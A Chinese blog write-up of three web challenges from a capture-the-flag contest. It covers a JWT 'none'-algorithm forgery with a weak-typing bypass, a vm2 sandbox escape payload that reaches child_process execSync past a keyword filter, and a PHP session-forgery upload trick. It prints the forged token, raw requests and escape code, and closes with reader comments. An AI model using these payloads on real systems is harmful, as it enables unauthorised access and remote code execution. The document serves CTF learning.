最近在忙毕设和毕业相关事情,事情比较多,但因为最近比赛中见到的 Node 题越来越多,还是想写一下公开的 Writeup,所以 Writeup 就突出重点,简略写了。
第一次跟公司战队打比赛,还不错,企业组第七名,各位小伙伴都辛苦了~

然后就是 WriteUp。
以下环境均可在 https://buuoj.cn 一键启动。
0x01. EasyLogin
知识点:
- NodeJS 代码审计
- NodeJS 弱类型特性
- NodeJS 依赖库缺陷
步骤:
1. 首先打开靶机,是这么一个页面。

2.然后打开页面源代码,看到 app.js 里有写到 static 是直接映射到程序根目录的。

3.那么就推断程序存在任意文件读取漏洞,尝试读取 NodeJS 应用常见主文件 app.js。

成功,如法炮制,分析源码,读取所有文件。

4.重点来看到 controllers/api.js,也就是主要逻辑代码了。
注册 /api/register,接受传入的 username 和 password,先判断 username 不为 admin,然后生成一个 key 来以这些信息为依据,生成一个 jwt 令牌,key 同时存入全局数组。

登录 /api/login,接受传入的 username 和 password,然后从令牌的信息段中取 key 的 id,从程序中的全局数组取出 key,然后进行验证,验证通过之后置 session 中的 username 为登录时使用的 username。

获取FLAG /api/flag,判断 session 中的用户名是否为 admin,是的话就直接给 flag。

需求很清晰了,注册-> 登录为 admin ->获取 flag。
关键就在怎么登录为 admin 上。
5.可以看到信息是用 jwt 令牌储存的,使用 jsonwebtoken 库来操作,这里用的是 HS256加密,但经过测试发现,当加密时使用的是 none 方法,验证时只要密钥处为 undefined 或者空之类的,即便后面的算法指名为 HS256,验证也还是按照 none 来验证通过,这样很轻松地就可以伪造一个 username 为 admin 的 jwttoken 了。


补充:原理见评论,分析源码可以看到接收的正确 options 为 algorithms 而不是 algorithm。

6.回到源程序逻辑中,若想让这里的密钥 key为空,就需要修改上面的 secretid。那么就尝试修改 secretid,使其无法作为全局变量 secrets 数组的索引,那么 secret 就会为空了。

注意,这里还有一个验证,要求 sid 不能为 undefined,null,并且必须在全局变量 secrets 数组的长度和 0 之间。乍看之下没有操作空间,怎么整都会取出 密钥 key。但别忘了 JavaScript 是一门弱类型语言,NodeJS 都是 JS 的语法,那自然也是咯。所以我们只要选择恰当的数据来绕过这个判断即可。可以做一个小实验来验证我们的想法。

7.综上所述,所以我们只需要生成一个 secretid 为空数组的令牌,username 设置为 admin,加密方式为 none,即可绕过验证,使得最后登录时验证的用户名为 admin。

eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJzZWNyZXRpZCI6W10sInVzZXJuYW1lIjoiYWRtaW4iLCJwYXNzd29yZCI6IjEyMzQ1NiIsImlhdCI6MTU4NzMwMjYxN30.
8.然后使用 Postman 进行请求。
注册,是为了初始化全局变量 secrets 数组。
POST /api/register HTTP/1.1
Host: 2b7cf2a9-2d5a-48d7-9eed-f7eed1de1070.node3.buuoj.cn
Content-Type: application/json
cache-control: no-cache
Postman-Token: 4201deb6-fddf-4b31-b3d2-7ea37daf8a37
{"username":"glzjin", "password":"123456"}

把上一步生成的 token 放进去,登录,上面生成的令牌这里放到哪里都行,所以我选择放到请求头里。同时用户名 admin 和密码记得和之前用代码生成 jwt token 时的一致,这样才能验证通过正确登录。
POST /api/login HTTP/1.1
Host: 2b7cf2a9-2d5a-48d7-9eed-f7eed1de1070.node3.buuoj.cn
Content-Type: application/json
Authorization: eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJzZWNyZXRpZCI6W10sInVzZXJuYW1lIjoiYWRtaW4iLCJwYXNzd29yZCI6IjEyMzQ1NiIsImlhdCI6MTU4NzMwMjYxN30.
cache-control: no-cache
Postman-Token: 13b128d6-7a81-45fa-a7d0-777a00647626
{"username":"admin", "password":"123456"}


登录成功之后,postman 像浏览器一样自动管理 cookie,所以我们直接 get /api/flag 路由即可拿到 flag。

9.Flag 到手~
0x02. JustEscape
知识点:
- vm.js 沙箱逃逸与过滤绕过
- JavaScript 模板字符串
步骤:
1.打开靶机,提示可以执行命令。

2.初步测试有回显,用每种语言产生异常的代码 fuzz 一下,使其抛出一个异常,发现后端为NodeJS,得到组件等敏感信息。
Payload:
http://d48e732e-106d-4bf8-a0bf-695e9c873939.node3.buuoj.cn/run.php?code=%28function%28%29%7B%0Avar%20err%20%3D%20new%20Error%28%29%3B%0Areturn%20err.stack%3B%0A%7D%29%28%29%3B

NodeJS + vm2。
3.到 vm2 的仓库里查找一下逃逸相关的 issue,维护者一直在不断找逃出沙盒的链条与方法,查找到那么一个issue https://github.com/patriksimek/vm2/issues/225。可用于 3.8.3,比较新。
先在本地测试一下。
首先安装依赖。

成功。

利用 console.log 输出 payload,


4.打上去,似乎被过滤了。

fuzz 一下,有 for, while, process, exec, eval, constructor, prototype, Function, 加号, 双引号, 单引号被过滤了。

5.以前有看到过文章,可以利用字符串拼接和数组调用(对象的方法或者属性名关键字被过滤的情况下可以把对象当成一个数组,然后数组里面的键名用字符串拼接出来)的方式来绕过关键字的限制,但注意到单双引号和加号同时被过滤了,我们想要直接输入字符串拼接的话似乎也行不通了。这里我们可以利用反引号来把文本括起来作为字符串 https://developer.mozilla.org/zh-CN/docs/Web/JavaScript/Reference/template_strings,同时我们也可以利用模板字符串嵌套来拼接出我们想要的被过滤了的字符串。
比如这里 prototype 被过滤了,我们可以这样书写
`${`${`prototyp`}e`}`
这样就可以拼接出一个 prototype 字符串。


6.这样来改写我们的 payload,将所有被过滤的关键词用这种方式转换,同时结合数组调用来绕过过滤保证正确调用。
Payload:
(function (){
TypeError[`${`${`prototyp`}e`}`][`${`${`get_proces`}s`}`] = f=>f[`${`${`constructo`}r`}`](`${`${`return this.proces`}s`}`)();
try{
Object.preventExtensions(Buffer.from(``)).a = 1;
}catch(e){
return e[`${`${`get_proces`}s`}`](()=>{}).mainModule[`${`${`requir`}e`}`](`${`${`child_proces`}s`}`)[`${`${`exe`}cSync`}`](`whoami`).toString();
}
})()


7.然后执行命令,获取 flag。


8.Flag 到手~
0x03.BabyUpload
知识点:
- PHP 代码审计
- session 处理器甄别 + session 伪造
- 函数特性(file_exists)
步骤:
1.打开靶机,直接给了源码了。

2.审计代码。
开头,将 session 的放置目录设置为 /var/babyctf/,并且启动 session,同时引入 /flag 内容。

判断 session 中 username 是否为 admin,是的话判断 /var/babyctf/success.txt 是否存在,存在的话就把 success.txt 删了,并显示 flag。

获取相关参数,均为 POST 参数,direction 表示是上传(upload)还是下载(download)操作,attr 会被直接拼接在 /var/babyctf 这个路径后面,如果 attr 为 private 则把用户名继续拼接在后面。

上传操作,上传文件的 field 为 up_file,把文件名拼接在后面,同时加上下划线和这个文件内容的 sha256 摘要值,文件是我们上传的,文件内容知道的情况下这个值也是可以在本地算出来的。然后判断是否有路径穿越,逐级创建目录,将文件储存到下面上传就结束了

下载操作,获取要读取的文件名(POST filename参数),拼接路径,判断是否有路径穿越,然后将文件内容返回。

所以要读取 Flag,需求就很明确了:
伪造 session 使自己变成 admin -> 创建一个 success.txt 文件 -> 读取 flag。
3. 对于伪造 session,我们前面看到上传文件处是这样拼接文件名的,源名_sha256 摘要值。我们只需要上传一个名为 sess 的文件,内容为我们伪造的 session 内容,计算出它的摘要值,然后将 Cookie 中的 PHPSESSID 改为这个 sha256 值,即可成功伪造 session。

先读取一下远程的 session 文件内容。
首先读取一下 SESSION ID。

然后构造请求来读取这个文件内容。attr 为空则直接读取 /var/babyctf/ 下的文件了。文件名则为 sess_PHPSESSID内容,固定格式。


没有竖线,参考 https://blog.spoock.com/2016/10/16/php-serialize-problem/ 判断其 session 处理器为 php_binary,则使用本地的的 PHP,将其 session 处理器改为 php_binary,然后利用其来生成 session 文件。
<?php
ini_set('session.serialize_handler', 'php_binary');
session_save_path("/Users/jinzhao/PhpstormProjects/untitled34/babyctf/");
session_start();
$_SESSION['username'] = 'admin';




注意:不能直接用文本编辑器生成,因为 session 文件前面还有个隐藏字符 08,普通编辑器无法录入这个字符导致操作失败,需要用十六进制编辑器,或者干脆直接让 php 来生成。
使用 PHP 来计算这个文件的 sha256 摘要值。
php -r "echo hash_file('sha256', 'sess');"

构造上传请求,上传。

上传之后可以读取一下是否上传成功。


然后把 Cookie 里的 PHPSESSID 改为计算出的 sha256 值 432b8b09e30c4a75986b719d1312b63a69f1b833ab602c9ad5f0299d1d76a5a4 即可。

4.然后就是在 /var/babyctf 下创建一个 success.txt 文件。
这里我们看到是用 file_exists 函数判断文件是否存在的。

在 PHP 文档中写到这个函数用于判断文件或者目录是否存在。

虽然我们不能完全控制上传的文件名,但上传的路径我们是可以控制的,所以我们只需要在 /var/babyctf/ 下创建一个 success.txt 目录即可。
还记得之前的 attr 参数吗,我们将其改为 success.txt,即可创建一个 success.txt 目录。



5.这时再刷新页面,就可以看到 flag 了。

6.Flag 到手~
总体来说题还是挺有意思的,自己也要多加强对这类”新兴”语言的学习。平常也要做做题,保持竞技状态,不要抢血都抢不过人家。
14 个评论
666
赵师傅太强了
sindy
大佬,JWT的生成脚本怎么搞
glzjin
下载个 WebStorm,搭建好 NodeJS 环境,用其他语言的也可以。
12end
web1的那道node只有我去看了jwt依赖库的源码了嘛……其实这个依赖库没有问题,问题在于依赖库用的参数是algorithms,而出题人用的是argorithm,而在依赖库中判断了!secret&&!argorithms时使用传入jwt的header中的algorithm,所以这个地方本质上是由于使用者对依赖库的不了解造成的
glzjin
嗯呢,我是直接试出来的。这个是正解?
glzjin
node_modules/jsonwebtoken/verify.js
L109:if (!hasSignature && !options.algorithms) {
options.algorithms = [‘none’];
}
看了下源码,加上测试 verify 时用 algorithms 参数才是最正确的。
小糊涂仙
师傅,请问一下,web1题目,您怎么fuzz出来项目目录文件的?感谢。
glzjin
根据 app.js 分析。
QAQ
赵总,想请教一下第一题中怎么知道controllers文件夹和views文件夹中都有啥文件的。。。它本身不是直接解析的文件夹么?哪里能看出来文件名呢?
glzjin
根据经验,猜测文件名。
小糊涂仙
这个好6。controllers/api.js也是厉害。
[HFCTF2020]虎符部分web – Ha1c9on
[…] 虎符 CTF Web 部分 Writeup […]
Frank
当时就提了个issue
https://github.com/auth0/node-jsonwebtoken/issues/711
CTF打卡~Day19 – deoplljj
[…] https://www.zhaoj.in/read-6512.html?tdsourcetag=s_pctim_aiomsg […]